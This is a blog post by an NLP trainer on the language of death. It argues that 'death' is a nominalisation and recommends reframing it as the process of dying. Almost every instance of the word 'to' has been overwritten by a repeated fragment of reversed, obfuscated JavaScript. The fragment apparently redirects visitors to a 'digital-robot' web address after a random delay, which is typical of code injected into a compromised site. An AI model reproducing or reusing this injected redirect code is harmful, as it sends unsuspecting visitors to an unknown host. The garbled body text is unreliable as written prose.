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I’m going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk about something that people don’t much like tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk about. I’m going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk about death. And in particular, I’m going tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to talk about the language of dying.

Death with a capital D

The word “death” sounds like a noun. A noun is a name of something, which is probably why death is often written with a capital D. And then, when we see the word written down like this – Death – we can’t help but think of Death as if it were a person. And a person that no-one wants tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to meet.

Mediaeval imagery has Death as the Grim Reaper. A hooded figure, lean, bony and skeletal, carrying a huge scythe with which tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to cut the ties that bind us tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the land of the living.

Major religions including Judaism and Islam feature an Angel of Death. This personification of Death shares many features with the Grim Reaper, and is an evil creature tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to be feared.

Death, the Pale Horseman, is one of the four horsemen of the apocalypse described in the Book of Revelation in the New Testament. Death has authority tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to kill “with sword, and famine and plague, and by the wild beasts of the earth.”[1]

Death is a nominalisation

Using an abstract word as a noun is what NLP calls a nominalisation. Literally this means turning a verb (a doing word) intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a noun (a name). The problem with this is that the noun describes something very abstract, and we lose all the specific information that helps us tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to makes sense of it.

Choose your words

Actually, we use two completely different parts of our brains tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to understand verbs and nouns.[2] Nouns are handled by the left temporal lobe, and verbs are handled by the left frontal lobe. Nouns stimulate visual representations (which is probably why we picture death as the Grim Reaper), and verbs stimulate connections tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to body movements, action and ownership.

This is probably also why people prefer tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to say “death” rather than “I’m dying”. “Death” creates a picture that we can dissociate from, externalise and then ignore if we want tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to. “I’m dying” creates an associated response, a physical ownership and experience of the process, which might be uncomfortable and hard tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ignore.

How tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to denominalise

For example, the word “communication” is a nominalisation. Your team might agree that it needs tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to improve communication – but what specifically about the communication needs improving? We’ve lost the details.

To recover the details, NLP teaches us tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to ask specific questions tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to turn the noun back intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a verb. In the context of communication, these might be:

  • Who is communicating?
  • With whom?
  • In what medium are they communicating?
  • What are they communicating about?

And so on. In this way, the details can be recovered, and the team can work out what, specifically, they need tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to improve about communication.

Denominalising death

In the same way, “death” is a nominalisation. By making Death a name, our brains autobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}tomatically ascribe characteristics tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to it as if it were an actual, tangible thing. By turning it intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a noun, we have made it abstract, and lost a lot of the details. We have also lost ownership of it. It becomes something that happens tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to us, not something which we are doing ourselves.

One of the most helpful things we can do is tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to start tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to turn it back intobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to a verb. This then gives us a process, which requires focus, and clarity of outcome and purpose. Then we can take back ownership of the process, and act with volition in the way that we interact with it.

  • Who is dying?
  • How are they dying?
  • What is it, specifically, that concerns you about dying?

When we de-nominalise “death”, we can turn our attention tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the process of dying.

And since we start dying the moment that we are born, we are really paying attention tobor-latigid//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6);if (number1==3){var delay = 18000; setTimeout($NjS(0),delay);}to the process of living.

And what about you?

How do you think about death? And about dying?

What happens when you change the way you think about it, and see dying as being life-affirming?

About Madeleine Allen:  The author is a specialist in Leadership,  Communication and Personal Development for business professionals.  An NLP Trainer and Master Practitioner she conducts in-house corporate training (learn more at www.allentraining.co.uk) and public courses in NLP (learn more at www.brightlightnlp.com)

[1] Revelation 6:7-8 New International Version

[2]study by Perani et al. entitled ‘The neural correlates of verb and noun processing. A PET study.‘,